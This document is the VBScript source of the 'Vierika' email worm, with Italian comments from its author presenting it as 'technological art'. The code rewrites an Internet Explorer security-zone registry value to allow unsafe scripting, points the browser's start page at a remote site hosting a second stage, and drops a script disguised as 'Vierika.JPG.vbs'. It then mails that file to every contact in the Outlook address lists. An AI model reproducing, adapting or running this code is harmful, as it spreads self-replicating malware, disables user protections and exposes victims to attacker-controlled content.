la particolarita' di vierika e' che

e' composto di un "satellite" e di un

corpo che ti aspetta su un sito...

...una parte ti chiama...l'altra ti libera...

'Language = Vbscript

main
on error resume next

la possibilita' o meno di eseguire vbscript in internet 

Explorer e' data da un unico,singolo byte. una sole voce 

nel registro di configurazione, senza alcuna

protezione

Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1201", 3 , "REG_DWORD"

trovo che autodistruggersi abbia un suo fascino...

Set fso = CreateObject("Scripting.FileSystemObject")
la parola "liberta'" anche...

dt1 = "free" & vbCrLf
Set d = fso.OpenTextFile("c:\Vierika.JPG.vbs", 2)
d.write dt1 
d.Close

replicarsi via mail...un dilemma che ha come soluzione una 

unica routine... anche se c'e' la variabile x che e' 

di troppo, ma si sa, l'ottimizzazione

si fa sempre alla fine...

Sub spreadtoemail()
On Error Resume Next
Set regedit = CreateObject("WScript.Shell")
Set out = CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
Set male = out.CreateItem(0)
male.Recipients.Add (malead)
male.Subject = "Vierika is here"
male.Body ="Vierika.jpg"
male.Attachments.Add ("c:\Vierika.JPG.vbs")
male.Send
x = x + 1
Next
Next
Set out = Nothing
Set mapi = Nothing
End Sub
Sub Main()

Explorer ti portera' a conoscere vierika...

On Error Resume Next
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://web.tiscalinet.it/krivojrog/vierika/Vierika.html"
html
spreadtoemail
End Sub

creare un file... e scriverci dentro qualcosa... 

qualsiasi cosa...

Sub html()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set b = fso.CreateTextFile("c:\Vierika.JPG.vbs")
b.Close

dta1 = "On Error Resume Next" & vbCrLf
dta1 = dta1 & "Set regedit = CreateObject(@WScript.Shell@)" & vbCrLf
dta1 = dta1 & "regedit.RegWrite @HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page@, @http://http://web.tiscalinet.it/krivojrog/vierika/vierika.html/Vindex.html@" & vbCrLf

ripristinare i settaggi iniziali di explorer... 

a protezione dei virus distruttivi...

dta1 = dta1 & "regedit.RegWrite @HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1201@, 0 , @REG_DWORD@" & vbCrLf



dt1 = replace (dta1, chr(64), chr(34))


Set d = fso.OpenTextFile("c:\Vierika.JPG.vbs", 2)
d.write dt1 
d.Close
End Sub

questi sono i tratti fondamentali di vierika... 

e' solo codice...e arte tecnologiga...